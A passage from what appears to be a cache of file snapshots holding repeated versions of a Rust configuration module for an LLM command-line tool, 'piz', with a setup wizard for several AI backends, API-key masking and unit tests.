\"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "49e04fb5db945d980a526b2aae95f5c9a4e13946": {"t": 1785760772.113683, "n": 17191, "h": "a8e785cd658f3ee6", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"') && value_part.ends_with('\"') && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "c661ec4773768ff1a23509412a76e97473ed6275": {"t": 1785760774.7175105, "n": 15437, "h": "8126124ebe211c53", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n 